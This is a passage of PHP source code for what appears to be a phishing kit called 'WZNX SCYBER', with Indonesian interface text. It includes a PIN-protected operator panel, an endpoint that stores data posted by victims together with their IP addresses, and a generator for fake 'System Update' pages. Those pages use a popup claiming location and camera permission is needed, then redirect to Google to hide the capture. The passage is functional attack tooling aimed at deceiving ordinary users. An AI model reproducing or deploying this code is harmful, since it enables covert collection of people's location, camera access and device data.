"1337", "site_name" => "WZNX SCYBER", "panel_url" => (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']==='on' ? 'https' : 'http') . "://" . ($_SERVER['HTTP_HOST'] ?? 'localhost') . dirname($_SERVER['SCRIPT_NAME']), "redirect" => "https://www.google.com", "popup_text" => "Aplikasi membutuhkan izin lokasi & kamera untuk melanjutkan.", "theme_color"=> "#00ff88", "audio_url" => "", ]; $cfg = array_merge($default_config, load_json($CONFIG_FILE, [])); // ---------- SAVE CONFIG ---------- if (isset($_POST["save_config"])) { $cfg["site_name"] = $_POST["site_name"] ?? $cfg["site_name"]; $cfg["redirect"] = $_POST["redirect"] ?? $cfg["redirect"]; $cfg["popup_text"] = $_POST["popup_text"] ?? $cfg["popup_text"]; $cfg["theme_color"] = $_POST["theme_color"] ?? $cfg["theme_color"]; $cfg["audio_url"] = $_POST["audio_url"] ?? ""; if (!empty($_POST["new_pin"])) $cfg["pin"] = $_POST["new_pin"]; save_json($CONFIG_FILE, $cfg); header("Location: ?page=settings&ok=1"); exit; } // ---------- LOGIN ---------- if (isset($_POST["pin"])) { if ($_POST["pin"] === $cfg["pin"]) { $_SESSION["wznx_auth"] = true; } else { $login_err = "PIN SALAH // AKSES DITOLAK"; } } if (isset($_GET["logout"])) { session_destroy(); header("Location: ?"); exit; } $auth = $_SESSION["wznx_auth"] ?? false; // ---------- COLLECTOR ENDPOINT ---------- if (isset($_GET["collect"])) { header("Content-Type: application/json"); $input = file_get_contents("php://input"); $data = json_decode($input, true); if (!$data) { echo json_encode(["status"=>"empty"]); exit; } $data["server_time"] = date("Y-m-d H:i:s"); $data["server_ip"] = $_SERVER["REMOTE_ADDR"] ?? "?"; $data["id"] = uniqid("WZNX_"); $data["link_id"] = $_GET["lid"] ?? "default"; $victims = load_json($VICTIMS_FILE, []); $victims[] = $data; save_json($VICTIMS_FILE, $victims); echo json_encode(["status"=>"ok", "id"=>$data["id"]]); exit; } // ---------- GENERATOR PHISING PAGE ---------- if (isset($_GET["view"])) { $lid = preg_replace('/[^a-zA-Z0-9_\-]/', '', $_GET["view"]); $links = load_json($LINKS_FILE, []); $link_cfg = $links[$lid] ?? null; if (!$link_cfg) { http_response_code(404); exit("Link tidak valid."); } $theme = $link_cfg["theme"] ?? $cfg["theme_color"]; $title = $link_cfg["title"] ?? "System Update"; $desc = $link_cfg["desc"] ?? $cfg["popup_text"]; $icon = $link_cfg["icon"] ?? "⚙️"; $audio = $cfg["audio_url"]; $collect_url = "?collect=1&lid=" . urlencode($lid); $redirect = $link_cfg["redirect"] ?? $cfg["redirect"]; header("Content-Type: text/html; charset=utf-8"); ?>
= htmlspecialchars($desc) ?>